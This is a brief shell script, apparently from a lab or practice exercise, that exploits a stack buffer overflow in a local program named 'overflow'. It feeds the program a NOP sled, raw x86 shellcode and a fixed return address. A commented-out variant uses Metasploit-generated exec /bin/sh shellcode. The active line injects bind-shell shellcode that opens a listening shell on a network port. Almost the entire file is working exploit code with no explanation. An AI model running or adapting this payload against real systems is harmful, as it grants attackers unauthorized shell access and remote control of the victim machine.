exploit.sh


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#!/bin/sh

# shellcode generated with metasploit (exec /bin/sh):
#   ./msfpayload linux/x86/exec cmd=/bin/sh R | ./msfencode -b '\x00\x09\x0a\x0d\x1b\x20'

# 117xNOP (0x90) + shellcode(70) + 117xNOP (0x90) + return addr

#./overflow `python -c 'print "\x90"*117 + "\xd9\xcd\xd9\x74\x24\xf4\xbf\xc9\x14\x15\x14\x5d\x31\xc9\xb1\x0b\x83\xc5\x04\x31\x7d\x16\x03\x7d\x16\xe2\x3c\x7e\x1e\x4c\x27\x2d\x46\x04\x7a\xb1\x0f\x33\xec\x1a\x63\xd4\xec\x0c\xac\x46\x85\xa2\x3b\x65\x07\xd3\x34\x6a\xa7\x23\x6a\x08\xce\x4d\x5b\xbf\x78\x92\xf4\x6c\xf1\x73\x37\x12" + "\x90"*117 + "\x8c\xd3\xff\xff"'`

# bindshell
# 85 bytes NOP + 134 bytes shellcode + 85 bytes NOP
./overflow `python -c 'print "\x90"*85 + "\x31\xc0\x31\xdb\x50\xb3\x01\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc2\x31\xc0\x50\x66\x68\xaa\x11\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52\x89\xe1\x31\xdb\xb3\x02\xb0\x66\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb0\x66\x31\xdb\xb3\x04\xcd\x80\x31\xc0\x50\x66\x50\x66\x6a\x02\x89\xe1\x6a\x10\x54\x51\x52\x89\xe1\x31\xdb\xb3\x05\xb0\x66\xcd\x80\x31\xc9\xb1\x03\x89\xc3\x31\xc0\xb0\x3f\xfe\xc9\xcd\x80\xfe\xc1\xe2\xf4\x31\xc0\x31\xc9\x99\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x88\x44\x24\x08\xb0\x0b\xcd\x80\xb0\x01\x31\xdb\xb3\x42\xcd\x80" + "\x90"*85 + "\x8c\xd3\xff\xff"'`